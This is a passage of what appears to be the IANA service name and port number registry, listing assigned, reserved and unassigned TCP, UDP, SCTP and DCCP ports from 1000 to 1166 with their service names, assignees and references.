cadlock2           1000        tcp
cadlock2           1000        udp
webpush            1001        tcp    HTTP Web Push                [IESG]                                                [IETF_Chair]                                              2016-11-01                [RFC8030]
                   1001        udp    Reserved
                 1002-1007            Unassigned
                   1008        udp    Possibly used by Sun
                                      Solaris????
                   1009               Unassigned
surf               1010        tcp    surf                         [Joseph_Geer]                                         [Joseph_Geer]
surf               1010        udp    surf                         [Joseph_Geer]                                         [Joseph_Geer]
                 1011-1020            Reserved
exp1               1021        tcp    RFC3692-style Experiment 1   [IESG]                                                [IETF_Chair]                                                                        [1][RFC4727][RFC6335]
exp1               1021        udp    RFC3692-style Experiment 1   [IESG]                                                [IETF_Chair]                                                                        [1][RFC4727][RFC6335]
exp1               1021       sctp    RFC3692-style Experiment 1   [IESG]                                                [IETF_Chair]                                                                        [1][RFC4727][RFC6335]
exp1               1021       dccp    RFC3692-style Experiment 1   [IESG]                                                [IETF_Chair]                                                                        [1][RFC4727][RFC6335]
exp2               1022        tcp    RFC3692-style Experiment 2   [IESG]                                                [IETF_Chair]                                                                        [1][RFC4727][RFC6335]
exp2               1022        udp    RFC3692-style Experiment 2   [IESG]                                                [IETF_Chair]                                                                        [1][RFC4727][RFC6335]
exp2               1022       sctp    RFC3692-style Experiment 2   [IESG]                                                [IETF_Chair]                                                                        [1][RFC4727][RFC6335]
exp2               1022       dccp    RFC3692-style Experiment 2   [IESG]                                                [IETF_Chair]                                                                        [1][RFC4727][RFC6335]
                   1023        tcp    Reserved                     [IANA]                                                [IANA]
                   1023        udp    Reserved                     [IANA]                                                [IANA]
                   1024        tcp    Reserved                     [IANA]                                                [IANA]
                   1024        udp    Reserved                     [IANA]                                                [IANA]
blackjack          1025        tcp    network blackjack
blackjack          1025        udp    network blackjack
cap                1026        tcp    Calendar Access Protocol     [Doug_Royer]                                          [Doug_Royer]                                              2010-12-09
cap                1026        udp    Calendar Access Protocol     [Doug_Royer]                                          [Doug_Royer]                                              2010-12-09
6a44               1027        udp    IPv6 Behind NAT44 CPEs       [IESG]                                                [IETF_Chair]                                              2012-08-02                [RFC6751]
                   1027        tcp    Reserved
                   1028               Deprecated                                                                                                                                                2004-02
solid-mux          1029        tcp    Solid Mux Server             [Anders_Borg]                                         [Anders_Borg]                                             2004-11
solid-mux          1029        udp    Solid Mux Server             [Anders_Borg]                                         [Anders_Borg]                                             2004-11
                   1030               Reserved                                                                                                                                                  2013-05-24                                                                        This entry is being removed on 2013-05-24.
                   1031               Reserved                                                                                                                                                  2013-05-24                                                                        This entry is being removed on 2013-05-24.
                   1032               Reserved                                                                                                                                                  2013-05-24                                                                        This entry is being removed on 2013-05-24.
netinfo-local      1033        tcp    local netinfo port           [Marc_Majka]                                          [Marc_Majka]                                              2002-08
netinfo-local      1033        udp    local netinfo port           [Marc_Majka]                                          [Marc_Majka]                                              2002-08
activesync         1034        tcp    ActiveSync Notifications     [Sandra_Vargas]                                       [Sandra_Vargas]                                           2003-03
activesync         1034        udp    ActiveSync Notifications     [Sandra_Vargas]                                       [Sandra_Vargas]                                           2003-03
mxxrlogin          1035        tcp    MX-XR RPC                    [Valassis]                                            [John_Eckert]                                             2003-04      2015-05-05
mxxrlogin          1035        udp    MX-XR RPC                    [Valassis]                                            [John_Eckert]                                             2003-04      2015-05-05
nsstp              1036        tcp    Nebula Secure Segment        [Steve_Ravida]                                        [Steve_Ravida]
                                      Transfer Protocol
nsstp              1036        udp    Nebula Secure Segment        [Steve_Ravida]                                        [Steve_Ravida]
                                      Transfer Protocol
ams                1037        tcp    AMS                          [Ronald_R_Ohmer]                                      [Ronald_R_Ohmer]                                          2004-02
ams                1037        udp    AMS                          [Ronald_R_Ohmer]                                      [Ronald_R_Ohmer]                                          2004-02
mtqp               1038        tcp    Message Tracking Query                                                                                                                                                 [RFC3887]
                                      Protocol
mtqp               1038        udp    Message Tracking Query                                                                                                                                                 [RFC3887]
                                      Protocol
sbl                1039        tcp    Streamlined Blackhole        [Jonathan_A_Zdziaras]                                 [Jonathan_A_Zdziaras]                                     2004-11
sbl                1039        udp    Streamlined Blackhole        [Jonathan_A_Zdziaras]                                 [Jonathan_A_Zdziaras]                                     2004-11
netarx             1040        tcp    Netarx Netcare               [Sandy_Kronenberg]                                    [Sandy_Kronenberg]                                        2008-04-03
netarx             1040        udp    Netarx Netcare               [Sandy_Kronenberg]                                    [Sandy_Kronenberg]                                        2008-04-03
danf-ak2           1041        tcp    AK2 Product                  [Karl_Palsson]                                        [Karl_Palsson]                                            2004-11
danf-ak2           1041        udp    AK2 Product                  [Karl_Palsson]                                        [Karl_Palsson]                                            2004-11
afrog              1042        tcp    Subnet Roaming               [Michael_Chapman]                                     [Michael_Chapman]                                         2004-11
afrog              1042        udp    Subnet Roaming               [Michael_Chapman]                                     [Michael_Chapman]                                         2004-11
boinc-client       1043        tcp    BOINC Client Control         [David_Anderson]                                      [David_Anderson]                                          2004-11
boinc-client       1043        udp    BOINC Client Control         [David_Anderson]                                      [David_Anderson]                                          2004-11
dcutility          1044        tcp    Dev Consortium Utility       [Chris_Ryland]                                        [Chris_Ryland]                                            2004-11
dcutility          1044        udp    Dev Consortium Utility       [Chris_Ryland]                                        [Chris_Ryland]                                            2004-11
fpitp              1045        tcp    Fingerprint Image Transfer   [Steven_Fields]                                       [Steven_Fields]                                           2002-02
                                      Protocol
fpitp              1045        udp    Fingerprint Image Transfer   [Steven_Fields]                                       [Steven_Fields]                                           2002-02
                                      Protocol
wfremotertm        1046        tcp    WebFilter Remote Monitor     [Tim_Morgan]                                          [Tim_Morgan]                                              2004-11
wfremotertm        1046        udp    WebFilter Remote Monitor     [Tim_Morgan]                                          [Tim_Morgan]                                              2004-11
neod1              1047        tcp    Sun's NEO Object Request
                                      Broker
neod1              1047        udp    Sun's NEO Object Request
                                      Broker
neod2              1048        tcp    Sun's NEO Object Request     [Rohit_Garg]                                          [Rohit_Garg]
                                      Broker
neod2              1048        udp    Sun's NEO Object Request     [Rohit_Garg]                                          [Rohit_Garg]
                                      Broker
td-postman         1049        tcp    Tobit David Postman VPMN     [Franz_Josef_Leuders]                                 [Franz_Josef_Leuders]
td-postman         1049        udp    Tobit David Postman VPMN     [Franz_Josef_Leuders]                                 [Franz_Josef_Leuders]
cma                1050        tcp    CORBA Management Agent       [Ramy_Zaarour]                                        [Ramy_Zaarour]
cma                1050        udp    CORBA Management Agent       [Ramy_Zaarour]                                        [Ramy_Zaarour]
optima-vnet        1051        tcp    Optima VNET                  [Ralf_Doewich]                                        [Ralf_Doewich]
optima-vnet        1051        udp    Optima VNET                  [Ralf_Doewich]                                        [Ralf_Doewich]
ddt                1052        tcp    Dynamic DNS Tools            [Remi_Lefebvre]                                       [Remi_Lefebvre]
ddt                1052        udp    Dynamic DNS Tools            [Remi_Lefebvre]                                       [Remi_Lefebvre]
                                                                                                                                                                                                                                                                     Unauthorized
remote-as          1053        tcp    Remote Assistant (RA)        [Roman_Kriis]                                         [Roman_Kriis]                                                                                                                               Use Known on
                                                                                                                                                                                                                                                                     port 1053
remote-as          1053        udp    Remote Assistant (RA)        [Roman_Kriis]                                         [Roman_Kriis]
brvread            1054        tcp    BRVREAD                      [A_Boninn]                                            [A_Boninn]
brvread            1054        udp    BRVREAD                      [A_Boninn]                                            [A_Boninn]
ansyslmd           1055        tcp    ANSYS - License Manager      [Suzanne_Lorrin]                                      [Suzanne_Lorrin]
ansyslmd           1055        udp    ANSYS - License Manager      [Suzanne_Lorrin]                                      [Suzanne_Lorrin]
vfo                1056        tcp    VFO                          [Anthony_Gonzalez]                                    [Anthony_Gonzalez]
vfo                1056        udp    VFO                          [Anthony_Gonzalez]                                    [Anthony_Gonzalez]
startron           1057        tcp    STARTRON                     [Markus_Sabadello]                                    [Markus_Sabadello]
startron           1057        udp    STARTRON                     [Markus_Sabadello]                                    [Markus_Sabadello]
nim                1058        tcp    nim
nim                1058        udp    nim
nimreg             1059        tcp    nimreg                       [Robert_Gordon]                                       [Robert_Gordon]
nimreg             1059        udp    nimreg                       [Robert_Gordon]                                       [Robert_Gordon]
polestar           1060        tcp    POLESTAR                     [Masakuni_Okada]                                      [Masakuni_Okada]
polestar           1060        udp    POLESTAR                     [Masakuni_Okada]                                      [Masakuni_Okada]
kiosk              1061        tcp    KIOSK                        [Ken_Ksiazek]                                         [Ken_Ksiazek]
kiosk              1061        udp    KIOSK                        [Ken_Ksiazek]                                         [Ken_Ksiazek]
veracity           1062        tcp    Veracity                     [Ross_Williams]                                       [Ross_Williams]
veracity           1062        udp    Veracity                     [Ross_Williams]                                       [Ross_Williams]
kyoceranetdev      1063        tcp    KyoceraNetDev                [Shigenaka_Kanemitsu]                                 [Shigenaka_Kanemitsu]
kyoceranetdev      1063        udp    KyoceraNetDev                [Shigenaka_Kanemitsu]                                 [Shigenaka_Kanemitsu]
jstel              1064        tcp    JSTEL                        [Duane_Kiser]                                         [Duane_Kiser]
jstel              1064        udp    JSTEL                        [Duane_Kiser]                                         [Duane_Kiser]
syscomlan          1065        tcp    SYSCOMLAN                    [Alexandre_Lechenne]                                  [Alexandre_Lechenne]                                      2008-12-10
syscomlan          1065        udp    SYSCOMLAN                    [Alexandre_Lechenne]                                  [Alexandre_Lechenne]                                      2008-12-10
fpo-fns            1066        tcp    FPO-FNS                      [Jens_Klose]                                          [Jens_Klose]
fpo-fns            1066        udp    FPO-FNS                      [Jens_Klose]                                          [Jens_Klose]
                                      Installation Bootstrap
                                      Proto. Serv.

instl-boots        1067        tcp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "instl_boots".
                                      Installation Bootstrap                                                                                                                                                                                                                      This entry is an alias to "instl-boots". This entry is now
instl_boots        1067        tcp    Proto. Serv.                                                                                                                                                                                                                                historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Installation Bootstrap
                                      Proto. Serv.

instl-boots        1067        udp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "instl_boots".
                                      Installation Bootstrap                                                                                                                                                                                                                      This entry is an alias to "instl-boots". This entry is now
instl_boots        1067        udp    Proto. Serv.                                                                                                                                                                                                                                historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Installation Bootstrap
                                      Proto. Cli.

instl-bootc        1068        tcp    IANA assigned this           [David_Arko]                                          [David_Arko]
                                      well-formed service name as
                                      a replacement for
                                      "instl_bootc".
                                      Installation Bootstrap                                                                                                                                                                                                                      This entry is an alias to "instl-bootc". This entry is now
instl_bootc        1068        tcp    Proto. Cli.                  [David_Arko]                                          [David_Arko]                                                                                                                                             historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Installation Bootstrap
                                      Proto. Cli.

instl-bootc        1068        udp    IANA assigned this           [David_Arko]                                          [David_Arko]
                                      well-formed service name as
                                      a replacement for
                                      "instl_bootc".
                                      Installation Bootstrap                                                                                                                                                                                                                      This entry is an alias to "instl-bootc". This entry is now
instl_bootc        1068        udp    Proto. Cli.                  [David_Arko]                                          [David_Arko]                                                                                                                                             historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
cognex-insight     1069        tcp    COGNEX-INSIGHT               [Steve_Olson]                                         [Steve_Olson]
cognex-insight     1069        udp    COGNEX-INSIGHT               [Steve_Olson]                                         [Steve_Olson]
gmrupdateserv      1070        tcp    GMRUpdateSERV                [Steve_Kellogg]                                       [Steve_Kellogg]
gmrupdateserv      1070        udp    GMRUpdateSERV                [Steve_Kellogg]                                       [Steve_Kellogg]
bsquare-voip       1071        tcp    BSQUARE-VOIP                 [Yen_Lee]                                             [Yen_Lee]
bsquare-voip       1071        udp    BSQUARE-VOIP                 [Yen_Lee]                                             [Yen_Lee]
cardax             1072        tcp    CARDAX                       [Charles_Oram]                                        [Charles_Oram]
cardax             1072        udp    CARDAX                       [Charles_Oram]                                        [Charles_Oram]
bridgecontrol      1073        tcp    Bridge Control               [Andy_Heron]                                          [Andy_Heron]
bridgecontrol      1073        udp    Bridge Control               [Andy_Heron]                                          [Andy_Heron]
warmspotMgmt       1074        tcp    Warmspot Management Protocol [Robert_C_Henningsga]                                 [Robert_C_Henningsga]
warmspotMgmt       1074        udp    Warmspot Management Protocol [Robert_C_Henningsga]                                 [Robert_C_Henningsga]
rdrmshc            1075        tcp    RDRMSHC                      [Ericko_Shimada]                                      [Ericko_Shimada]
rdrmshc            1075        udp    RDRMSHC                      [Ericko_Shimada]                                      [Ericko_Shimada]
dab-sti-c          1076        tcp    DAB STI-C                    [World_DAB]                                           [World_DAB]
dab-sti-c          1076        udp    DAB STI-C                    [World_DAB]                                           [World_DAB]
imgames            1077        tcp    IMGames                      [Jean_A_Ames]                                         [Jean_A_Ames]
imgames            1077        udp    IMGames                      [Jean_A_Ames]                                         [Jean_A_Ames]
avocent-proxy      1078        tcp    Avocent Proxy Protocol       [Steven_W_Clark]                                      [Steven_W_Clark]
avocent-proxy      1078        udp    Avocent Proxy Protocol       [Steven_W_Clark]                                      [Steven_W_Clark]
asprovatalk        1079        tcp    ASPROVATalk                  [Chiew_Farn_Chung]                                    [Chiew_Farn_Chung]
asprovatalk        1079        udp    ASPROVATalk                  [Chiew_Farn_Chung]                                    [Chiew_Farn_Chung]
socks              1080        tcp    Socks                        [Ying_Da_Lee]                                         [Ying_Da_Lee]
socks              1080        udp    Socks                        [Ying_Da_Lee]                                         [Ying_Da_Lee]
pvuniwien          1081        tcp    PVUNIWIEN                    [Peter_Lipp]                                          [Peter_Lipp]
pvuniwien          1081        udp    PVUNIWIEN                    [Peter_Lipp]                                          [Peter_Lipp]
amt-esd-prot       1082        tcp    AMT-ESD-PROT                 [AMTEC_S_p_A]                                         [AMTEC_S_p_A]
amt-esd-prot       1082        udp    AMT-ESD-PROT                 [AMTEC_S_p_A]                                         [AMTEC_S_p_A]
ansoft-lm-1        1083        tcp    Anasoft License Manager
ansoft-lm-1        1083        udp    Anasoft License Manager
ansoft-lm-2        1084        tcp    Anasoft License Manager
ansoft-lm-2        1084        udp    Anasoft License Manager
webobjects         1085        tcp    Web Objects                  [Andy_Belk]                                           [Andy_Belk]
webobjects         1085        udp    Web Objects                  [Andy_Belk]                                           [Andy_Belk]
cplscrambler-lg    1086        tcp    CPL Scrambler Logging
cplscrambler-lg    1086        udp    CPL Scrambler Logging
cplscrambler-in    1087        tcp    CPL Scrambler Internal
cplscrambler-in    1087        udp    CPL Scrambler Internal
cplscrambler-al    1088        tcp    CPL Scrambler Alarm Log      [Richard_Corn]                                        [Richard_Corn]
cplscrambler-al    1088        udp    CPL Scrambler Alarm Log      [Richard_Corn]                                        [Richard_Corn]
ff-annunc          1089        tcp    FF Annunciation
ff-annunc          1089        udp    FF Annunciation
ff-fms             1090        tcp    FF Fieldbus Message
                                      Specification
ff-fms             1090        udp    FF Fieldbus Message
                                      Specification
ff-sm              1091        tcp    FF System Management         [Fieldbus_Foundation]                                 [Fieldbus_Foundation]
ff-sm              1091        udp    FF System Management         [Fieldbus_Foundation]                                 [Fieldbus_Foundation]
obrpd              1092        tcp    Open Business Reporting      [William_Randolph_Roy]                                [William_Randolph_Roy]
                                      Protocol
obrpd              1092        udp    Open Business Reporting      [William_Randolph_Roy]                                [William_Randolph_Roy]
                                      Protocol
proofd             1093        tcp    PROOFD
proofd             1093        udp    PROOFD
rootd              1094        tcp    ROOTD                        [Fons_Rademakers]                                     [Fons_Rademakers]
rootd              1094        udp    ROOTD                        [Fons_Rademakers]                                     [Fons_Rademakers]
nicelink           1095        tcp    NICELink                     [Jordi_Lisbona]                                       [Jordi_Lisbona]
nicelink           1095        udp    NICELink                     [Jordi_Lisbona]                                       [Jordi_Lisbona]
cnrprotocol        1096        tcp    Common Name Resolution       [Michael_Mealling]                                    [Michael_Mealling]
                                      Protocol
cnrprotocol        1096        udp    Common Name Resolution       [Michael_Mealling]                                    [Michael_Mealling]
                                      Protocol
sunclustermgr      1097        tcp    Sun Cluster Manager          [Ashit_Patel]                                         [Ashit_Patel]
sunclustermgr      1097        udp    Sun Cluster Manager          [Ashit_Patel]                                         [Ashit_Patel]
rmiactivation      1098        tcp    RMI Activation
rmiactivation      1098        udp    RMI Activation
rmiregistry        1099        tcp    RMI Registry                 [Mark_Hodapp]                                         [Mark_Hodapp]
rmiregistry        1099        udp    RMI Registry                 [Mark_Hodapp]                                         [Mark_Hodapp]
mctp               1100        tcp    MCTP                         [Vitaly_Revsin]                                       [Vitaly_Revsin]
mctp               1100        udp    MCTP                         [Vitaly_Revsin]                                       [Vitaly_Revsin]
pt2-discover       1101        tcp    PT2-DISCOVER                 [Ralph_Kammerlander]                                  [Ralph_Kammerlander]
pt2-discover       1101        udp    PT2-DISCOVER                 [Ralph_Kammerlander]                                  [Ralph_Kammerlander]
adobeserver-1      1102        tcp    ADOBE SERVER 1
adobeserver-1      1102        udp    ADOBE SERVER 1
adobeserver-2      1103        tcp    ADOBE SERVER 2               [Frank_Soetebeer]                                     [Frank_Soetebeer]
adobeserver-2      1103        udp    ADOBE SERVER 2               [Frank_Soetebeer]                                     [Frank_Soetebeer]
xrl                1104        tcp    XRL                          [Patrick_Robinson]                                    [Patrick_Robinson]
xrl                1104        udp    XRL                          [Patrick_Robinson]                                    [Patrick_Robinson]
ftranhc            1105        tcp    FTRANHC                      [Eriko_Shimada]                                       [Eriko_Shimada]
ftranhc            1105        udp    FTRANHC                      [Eriko_Shimada]                                       [Eriko_Shimada]
isoipsigport-1     1106        tcp    ISOIPSIGPORT-1
isoipsigport-1     1106        udp    ISOIPSIGPORT-1
isoipsigport-2     1107        tcp    ISOIPSIGPORT-2               [Peter_Egli]                                          [Peter_Egli]
isoipsigport-2     1107        udp    ISOIPSIGPORT-2               [Peter_Egli]                                          [Peter_Egli]
ratio-adp          1108        tcp    ratio-adp                    [Oliver_Thulke]                                       [Oliver_Thulke]
ratio-adp          1108        udp    ratio-adp                    [Oliver_Thulke]                                       [Oliver_Thulke]
                   1109               Reserved - IANA
webadmstart        1110        tcp    Start web admin server
nfsd-keepalive     1110        udp    Client status info           [Beth_Crespo]                                         [Beth_Crespo]
lmsocialserver     1111        tcp    LM Social Server             [Ron_Lussier]                                         [Ron_Lussier]
lmsocialserver     1111        udp    LM Social Server             [Ron_Lussier]                                         [Ron_Lussier]
icp                1112        tcp    Intelligent Communication    [Mark_H_David]                                        [Mark_H_David]
                                      Protocol
icp                1112        udp    Intelligent Communication    [Mark_H_David]                                        [Mark_H_David]
                                      Protocol
ltp-deepspace      1113        tcp    Licklider Transmission                                                                                                                                                 [RFC5326]
                                      Protocol
ltp-deepspace      1113        udp    Licklider Transmission                                                                                                                                    2014-02-21   [RFC5326][RFC7122]
                                      Protocol
ltp-deepspace      1113       dccp    Licklider Transmission                                                                                                                       2013-11-12   2014-02-21   [RFC7122]                                     7107696
                                      Protocol
mini-sql           1114        tcp    Mini SQL                     [David_Hughes]                                        [David_Hughes]
mini-sql           1114        udp    Mini SQL                     [David_Hughes]                                        [David_Hughes]
ardus-trns         1115        tcp    ARDUS Transfer
ardus-trns         1115        udp    ARDUS Transfer
ardus-cntl         1116        tcp    ARDUS Control
ardus-cntl         1116        udp    ARDUS Control
ardus-mtrns        1117        tcp    ARDUS Multicast Transfer     [Shinya_Abe]                                          [Shinya_Abe]
ardus-mtrns        1117        udp    ARDUS Multicast Transfer     [Shinya_Abe]                                          [Shinya_Abe]
sacred             1118        tcp    SACRED                                                                                                                                                                 [RFC3767]
sacred             1118        udp    SACRED                                                                                                                                                                 [RFC3767]
bnetgame           1119        tcp    Battle.net Chat/Game
                                      Protocol
bnetgame           1119        udp    Battle.net Chat/Game
                                      Protocol
bnetfile           1120        tcp    Battle.net File Transfer     [Domain_Tech]                                         [Domain_Tech]                                             2005-04
                                      Protocol
bnetfile           1120        udp    Battle.net File Transfer     [Domain_Tech]                                         [Domain_Tech]                                             2005-04
                                      Protocol
rmpp               1121        tcp    Datalode RMPP                [Dave_Ruedger]                                        [Dave_Ruedger]                                            2003-11
rmpp               1121        udp    Datalode RMPP                [Dave_Ruedger]                                        [Dave_Ruedger]                                            2003-11
availant-mgr       1122        tcp    availant-mgr                 [Steven_Pelletier]                                    [Steven_Pelletier]
availant-mgr       1122        udp    availant-mgr                 [Steven_Pelletier]                                    [Steven_Pelletier]
murray             1123        tcp    Murray                       [Stu_Mark]                                            [Stu_Mark]
murray             1123        udp    Murray                       [Stu_Mark]                                            [Stu_Mark]
hpvmmcontrol       1124        tcp    HP VMM Control
hpvmmcontrol       1124        udp    HP VMM Control
hpvmmagent         1125        tcp    HP VMM Agent
hpvmmagent         1125        udp    HP VMM Agent
hpvmmdata          1126        tcp    HP VMM Agent                 [John_Morton]                                         [John_Morton]                                             2004-11
hpvmmdata          1126        udp    HP VMM Agent                 [John_Morton]                                         [John_Morton]                                             2004-11
kwdb-commn         1127        tcp    KWDB Remote Communication    [Lal_Samuel_Varghese]                                 [Lal_Samuel_Varghese]                                     2005-08
kwdb-commn         1127        udp    KWDB Remote Communication    [Lal_Samuel_Varghese]                                 [Lal_Samuel_Varghese]                                     2005-08
saphostctrl        1128        tcp    SAPHostControl over
                                      SOAP/HTTP
saphostctrl        1128        udp    SAPHostControl over
                                      SOAP/HTTP
saphostctrls       1129        tcp    SAPHostControl over          [Muscarella_Fabrizio]                                 [Muscarella_Fabrizio]                                     2006-04
                                      SOAP/HTTPS
saphostctrls       1129        udp    SAPHostControl over          [Muscarella_Fabrizio]                                 [Muscarella_Fabrizio]                                     2006-04
                                      SOAP/HTTPS
casp               1130        tcp    CAC App Service Protocol
casp               1130        udp    CAC App Service Protocol
caspssl            1131        tcp    CAC App Service Protocol     [Enrique_Corujo]                                      [Enrique_Corujo]                                          2006-02
                                      Encripted
caspssl            1131        udp    CAC App Service Protocol     [Enrique_Corujo]                                      [Enrique_Corujo]                                          2006-02
                                      Encripted
kvm-via-ip         1132        tcp    KVM-via-IP Management        [Ian_Miller]                                          [Ian_Miller]                                              2006-03
                                      Service
kvm-via-ip         1132        udp    KVM-via-IP Management        [Ian_Miller]                                          [Ian_Miller]                                              2006-03
                                      Service
dfn                1133        tcp    Data Flow Network            [Dmitry_Obuvalin]                                     [Dmitry_Obuvalin]                                         2006-02
dfn                1133        udp    Data Flow Network            [Dmitry_Obuvalin]                                     [Dmitry_Obuvalin]                                         2006-02
aplx               1134        tcp    MicroAPL APLX                [Richard_Nabavi]                                      [Richard_Nabavi]                                          2006-02
aplx               1134        udp    MicroAPL APLX                [Richard_Nabavi]                                      [Richard_Nabavi]                                          2006-02
omnivision         1135        tcp    OmniVision Communication     [Serge_Vacquier]                                      [Serge_Vacquier]                                          2006-02
                                      Service
omnivision         1135        udp    OmniVision Communication     [Serge_Vacquier]                                      [Serge_Vacquier]                                          2006-02
                                      Service
hhb-gateway        1136        tcp    HHB Gateway Control          [Richard_Harwell]                                     [Richard_Harwell]                                         2006-02
hhb-gateway        1136        udp    HHB Gateway Control          [Richard_Harwell]                                     [Richard_Harwell]                                         2006-02
trim               1137        tcp    TRIM Workgroup Service       [Siva_Poobalasingam]                                  [Siva_Poobalasingam]                                      2006-03
trim               1137        udp    TRIM Workgroup Service       [Siva_Poobalasingam]                                  [Siva_Poobalasingam]                                      2006-03
                                      encrypted admin requests

encrypted-admin    1138        tcp    IANA assigned this           [Michael_Elizarov]                                    [Michael_Elizarov]                                        2007-01
                                      well-formed service name as
                                      a replacement for
                                      "encrypted_admin".
                                                                                                                                                                                                                                                                                  This entry is an alias to "encrypted-admin". This entry is
encrypted_admin    1138        tcp    encrypted admin requests     [Michael_Elizarov]                                    [Michael_Elizarov]                                        2007-01                                                                                        now historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      encrypted admin requests

encrypted-admin    1138        udp    IANA assigned this           [Michael_Elizarov]                                    [Michael_Elizarov]                                        2007-01
                                      well-formed service name as
                                      a replacement for
                                      "encrypted_admin".
                                                                                                                                                                                                                                                                                  This entry is an alias to "encrypted-admin". This entry is
encrypted_admin    1138        udp    encrypted admin requests     [Michael_Elizarov]                                    [Michael_Elizarov]                                        2007-01                                                                                        now historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
evm                1139        tcp    Enterprise Virtual Manager   [Thomas_Hennessy]                                     [Thomas_Hennessy]                                         2007-10-04
evm                1139        udp    Enterprise Virtual Manager   [Thomas_Hennessy]                                     [Thomas_Hennessy]                                         2007-10-04
autonoc            1140        tcp    AutoNOC Network Operations   [Kyle_Lussier]                                        [Kyle_Lussier]                                            2005-12
                                      Protocol
autonoc            1140        udp    AutoNOC Network Operations   [Kyle_Lussier]                                        [Kyle_Lussier]                                            2005-12
                                      Protocol
mxomss             1141        tcp    User Message Service         [Chaoyi_Lang]                                         [Chaoyi_Lang]                                             2006-01
mxomss             1141        udp    User Message Service         [Chaoyi_Lang]                                         [Chaoyi_Lang]                                             2006-01
edtools            1142        tcp    User Discovery Service       [Lee_Dolson]                                          [Lee_Dolson]                                              2006-01
edtools            1142        udp    User Discovery Service       [Lee_Dolson]                                          [Lee_Dolson]                                              2006-01
imyx               1143        tcp    Infomatryx Exchange          [David_Walling]                                       [David_Walling]                                           2006-03
imyx               1143        udp    Infomatryx Exchange          [David_Walling]                                       [David_Walling]                                           2006-03
fuscript           1144        tcp    Fusion Script                [Peter_Loveday]                                       [Peter_Loveday]                                           2006-01
fuscript           1144        udp    Fusion Script                [Peter_Loveday]                                       [Peter_Loveday]                                           2006-01
x9-icue            1145        tcp    X9 iCue Show Control         [Brandon_Potter]                                      [Brandon_Potter]                                          2006-01
x9-icue            1145        udp    X9 iCue Show Control         [Brandon_Potter]                                      [Brandon_Potter]                                          2006-01
audit-transfer     1146        tcp    audit transfer               [Mark_Wahl]                                           [Mark_Wahl]                                               2005-11
audit-transfer     1146        udp    audit transfer               [Mark_Wahl]                                           [Mark_Wahl]                                               2005-11
capioverlan        1147        tcp    CAPIoverLAN                  [Diego_Friedel]                                       [Diego_Friedel]                                           2005-11
capioverlan        1147        udp    CAPIoverLAN                  [Diego_Friedel]                                       [Diego_Friedel]                                           2005-11
elfiq-repl         1148        tcp    Elfiq Replication Service    [Frederick_Parent]                                    [Frederick_Parent]                                        2005-11
elfiq-repl         1148        udp    Elfiq Replication Service    [Frederick_Parent]                                    [Frederick_Parent]                                        2005-11
bvtsonar           1149        tcp    BlueView Sonar Service       [Teledyne_BlueView_Inc]                               [Cat_Zimmermann]                                          2005-11      2012-09-19
bvtsonar           1149        udp    BlueView Sonar Service       [Teledyne_BlueView_Inc]                               [Cat_Zimmermann]                                          2005-11      2012-09-19
blaze              1150        tcp    Blaze File Server            [Curt_Schimmel]                                       [Curt_Schimmel]                                           2005-11
blaze              1150        udp    Blaze File Server            [Curt_Schimmel]                                       [Curt_Schimmel]                                           2005-11
unizensus          1151        tcp    Unizensus Login Server       [Dirk_Materlik]                                       [Dirk_Materlik]                                           2005-11
unizensus          1151        udp    Unizensus Login Server       [Dirk_Materlik]                                       [Dirk_Materlik]                                           2005-11
winpoplanmess      1152        tcp    Winpopup LAN Messenger       [Vitali_Fomine]                                       [Vitali_Fomine]                                           2005-11
winpoplanmess      1152        udp    Winpopup LAN Messenger       [Vitali_Fomine]                                       [Vitali_Fomine]                                           2005-11
c1222-acse         1153        tcp    ANSI C12.22 Port                                                                                                                                                       [RFC6142]
c1222-acse         1153        udp    ANSI C12.22 Port                                                                                                                                                       [RFC6142]
resacommunity      1154        tcp    Community Service            [Stephane_MONS]                                       [Stephane_MONS]                                           2005-09
resacommunity      1154        udp    Community Service            [Stephane_MONS]                                       [Stephane_MONS]                                           2005-09
nfa                1155        tcp    Network File Access          [James_Powell]                                        [James_Powell]
nfa                1155        udp    Network File Access          [James_Powell]                                        [James_Powell]
iascontrol-oms     1156        tcp    iasControl OMS               [Todd_Guay]                                           [Todd_Guay]                                               2004-11
iascontrol-oms     1156        udp    iasControl OMS               [Todd_Guay]                                           [Todd_Guay]                                               2004-11
iascontrol         1157        tcp    Oracle iASControl            [Todd_Guay]                                           [Todd_Guay]                                               2004-11
iascontrol         1157        udp    Oracle iASControl            [Todd_Guay]                                           [Todd_Guay]                                               2004-11
dbcontrol-oms      1158        tcp    dbControl OMS                [Todd_Guay]                                           [Todd_Guay]                                               2004-11
dbcontrol-oms      1158        udp    dbControl OMS                [Todd_Guay]                                           [Todd_Guay]                                               2004-11
oracle-oms         1159        tcp    Oracle OMS                   [Todd_Guay]                                           [Todd_Guay]                                               2004-11
oracle-oms         1159        udp    Oracle OMS                   [Todd_Guay]                                           [Todd_Guay]                                               2004-11
olsv               1160        tcp    DB Lite Mult-User Server     [Philip_Stephenson]                                   [Philip_Stephenson]                                       2005-08
olsv               1160        udp    DB Lite Mult-User Server     [Philip_Stephenson]                                   [Philip_Stephenson]                                       2005-08
health-polling     1161        tcp    Health Polling
health-polling     1161        udp    Health Polling
health-trap        1162        tcp    Health Trap
health-trap        1162        udp    Health Trap
sddp               1163        tcp    SmartDialer Data Protocol    [Lee_Griffiths]                                       [Lee_Griffiths]                                           2004-11
sddp               1163        udp    SmartDialer Data Protocol    [Lee_Griffiths]                                       [Lee_Griffiths]                                           2004-11
qsm-proxy          1164        tcp    QSM Proxy Service            [Norm_Lunde]                                          [Norm_Lunde]                                              2004-11
qsm-proxy          1164        udp    QSM Proxy Service            [Norm_Lunde]                                          [Norm_Lunde]                                              2004-11
qsm-gui            1165        tcp    QSM GUI Service              [Norm_Lunde]                                          [Norm_Lunde]                                              2004-11
qsm-gui            1165        udp    QSM GUI Service              [Norm_Lunde]                                          [Norm_Lunde]                                              2004-11
qsm-remote         1166        tcp    QSM RemoteExec               [Norm_Lunde]                                          [Norm_Lunde]                                              2004-11
